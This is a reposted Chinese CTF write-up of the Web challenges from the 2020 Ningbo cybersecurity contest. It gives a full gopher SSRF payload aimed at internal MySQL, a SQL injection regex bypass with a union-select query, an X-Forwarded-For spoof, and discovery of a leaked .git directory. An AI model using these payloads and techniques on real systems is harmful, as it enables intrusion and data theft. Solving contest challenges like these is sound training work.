2020宁波市第三届网络安全大赛 Web Writeup
2021-03-04 11:29
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标签:form user 简单 one flag code plain get请求 att
2020宁波市第三届网络安全大赛,比赛分行业组和院校组进行团体赛。感觉这次比赛还是很不错的~ 值得参加。
Easy_SSRF
一道简单的SSRF题目
利用url访问主机内部的3306端口,发现有回显,于是想到用gopher协议执行mysql语句。
这里用到一个工具来生成payload:https://github.com/tarunkant/Gopherus
盲猜mysql的用户名为root
因为服务端使用了get请求的方式来接收url参数,所以我们需要先urlcode编码一下,在把payload放上去。
http://XXX/?url=gopher://127.0.0.1:3306/_%25a3%2500%2500%2501%2585%25a6%25ff%2501%2500%2500%2500%2501%2521%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2572%256f%256f%2574%2500%2500%256d%2579%2573%2571%256c%255f%256e%2561%2574%2569%2576%2565%255f%2570%2561%2573%2573%2577%256f%2572%2564%2500%2566%2503%255f%256f%2573%2505%254c%2569%256e%2575%2578%250c%255f%2563%256c%2569%2565%256e%2574%255f%256e%2561%256d%2565%2508%256c%2569%2562%256d%2579%2573%2571%256c%2504%255f%2570%2569%2564%2505%2532%2537%2532%2535%2535%250f%255f%2563%256c%2569%2565%256e%2574%255f%2576%2565%2572%2573%2569%256f%256e%2506%2535%252e%2537%252e%2532%2532%2509%255f%2570%256c%2561%2574%2566%256f%2572%256d%2506%2578%2538%2536%255f%2536%2534%250c%2570%2572%256f%2567%2572%2561%256d%255f%256e%2561%256d%2565%2505%256d%2579%2573%2571%256c%250f%2500%2500%2500%2503%2573%2568%256f%2577%2520%2564%2561%2574%2561%2562%2561%2573%2565%2573%2501%2500%2500%2500%2501
获取flag表中的flag字段即可拿到flag。
Easy_SQL
访问index.php.bak 发现源码泄露
query($query);
echo "学号:" . $id . ",成绩为: ".$results->fetch_assoc()[‘text‘];
}
?>
if (preg_match("/\d.+?\D.+/is",$id)) 只要绕过这个正则即可,这个正则的匹配(数字 非数字)这种格式。
以下为绕过的一种思路
id=now() union select group_concat(flag) from bankdb.flag
本地访问
用BurpSite把guest改成admin
添加 X-Forward-For:127.0.0.1
发送即可拿到flag
TEST
源码泄露 index.html~ 可下载
test
this is test。本文本
发现一张图片
发现目录12as24
在12as24目录下使用dirsearch扫描
发现有git泄露
/.git/COMMIT_EDITMSG 里面就是flag
友情链接
Misc师傅:水星师傅
2020宁波市第三届网络安全大赛 Web Writeup
标签:form user 简单 one flag code plain get请求 att
原文地址:https://www.cnblogs.com/skyxmao/p/13262594.html
文章标题:2020宁波市第三届网络安全大赛 Web Writeup
文章链接:http://soscw.com/index.php/essay/59974.html